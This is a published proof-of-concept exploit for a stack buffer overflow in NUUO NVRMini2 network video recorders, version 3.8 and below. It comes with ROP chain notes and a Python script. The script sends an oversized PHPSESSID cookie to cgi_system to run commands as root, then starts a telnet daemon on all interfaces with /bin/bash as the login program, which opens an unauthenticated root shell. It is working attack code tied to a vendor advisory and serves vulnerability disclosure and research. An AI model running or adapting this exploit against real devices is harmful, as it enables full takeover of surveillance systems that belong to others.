# Exploit Title: NUUO NVRMini2 3.8 - 'cgi_system' Buffer Overflow (Enable Telnet)
# Date: 2018-09-17
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.nuuo.com/
# Device: NRVMini2
# Software Link: https://www.nuuo.com/ProductNode.php?node=2
# Versions: 3.8.0 and below
# Tested Against: 03.07.0000.0011 and 03.08.0000.0005
# Tested on: Ubuntu and OSX
# CVE: N/A
# TRA: https://www.tenable.com/security/research/tra-2018-25
# Description:
# A stack buffer overflow exists in the cgi_system binary. The error occurs
# due to lack of bounds checking on the PHPSESSID value before and when
# it is passed to sprintf in order to generate the session id file name.
# As written, this exploit enables Telnet.
# Executes a command via the stack buffer overflow in cookie parsing. The command
# is executed via 'system' as root. The overlow logic is like so:
#
# address 1: 405e2e34 - load system into r3 and address 2 into lr
#
# .text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR}
# .text:000D0E38 1E FF 2F E1 BX LR
#
# address 2: 406037cc - load the system command into r0. Jump to system.
#
# .text:000F17CC 0D 00 A0 E1 MOV R0, SP
# .text:000F17D0 33 FF 2F E1 BLX R3
#
# [ address 1 ][ r0 ][ r1 ][ r2 ][ r3 system ][ r11 ][ LR - addr2 ][ system command ]
# \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat
# PoC
import requests
import socket
import sys
def stack_buffer_overflow(command, ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print '[+] Executing %s on %s:%s...' % (command, ip, port)
sock.connect((ip, int(port)))
exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' +
'Host: ' + ip + ':' + port + '\r\n' +
'Accept: */*\r\n' +
'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
'\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
'\r\n\r\n')
sock.sendall(exec_request)
data = sock.recv(1024)
sock.close()
# We should get a 500 Internal error in response
return data.find('500') != -1
# Quickly tries to grab the version of the target. If the target is
# using anything other than 3.7 or 3.8 then we'll bail out since
# haven't tested on any other targets
def check_target(ip, port):
index = requests.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo")
return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1)
if __name__ == "__main__":
if (len(sys.argv) != 3):
print "Usage: python nvrmini2_enable_telnet.py <ipv4 address> <port>"
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
if int(port) > 65535:
print('[-] Invalid port parameter')
sys.exit(0)
if len(ip.split('.')) != 4:
print('[-] Invalid IP address parameter')
sys.exit(0)
print '[+] Checking for a valid target...'
if (check_target(ip, port) == False):
print('[-] The target is not a NVRMini2 or its using an untested version.')
sys.exit(0)
print '[+] Valid target!'
if (stack_buffer_overflow('mount -t devpts devpts /dev/pts', ip, port) == False):
print('[-] Mount failed')
sys.exit(0)
if (stack_buffer_overflow('/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&', ip, port) == False):
print('[-] telnetd bind failed')
sys.exit(0)
print('[+] Success!')
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